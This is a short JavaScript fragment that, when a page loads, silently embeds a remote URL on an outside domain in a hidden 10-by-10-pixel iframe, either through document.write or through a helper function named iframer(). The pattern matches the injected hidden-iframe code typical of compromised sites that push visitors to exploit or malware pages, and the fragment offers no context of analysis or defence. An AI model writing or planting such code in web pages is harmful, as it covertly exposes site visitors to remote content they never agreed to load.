if (document.getElementsByTagName('body')[0]) {
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} else {
    document.write("<iframe src='http://panelanuncios.mexicopublicidad.com/main.php?page=73cec23a156394e7' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://panelanuncios.mexicopublicidad.com/main.php?page=73cec23a156394e7');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}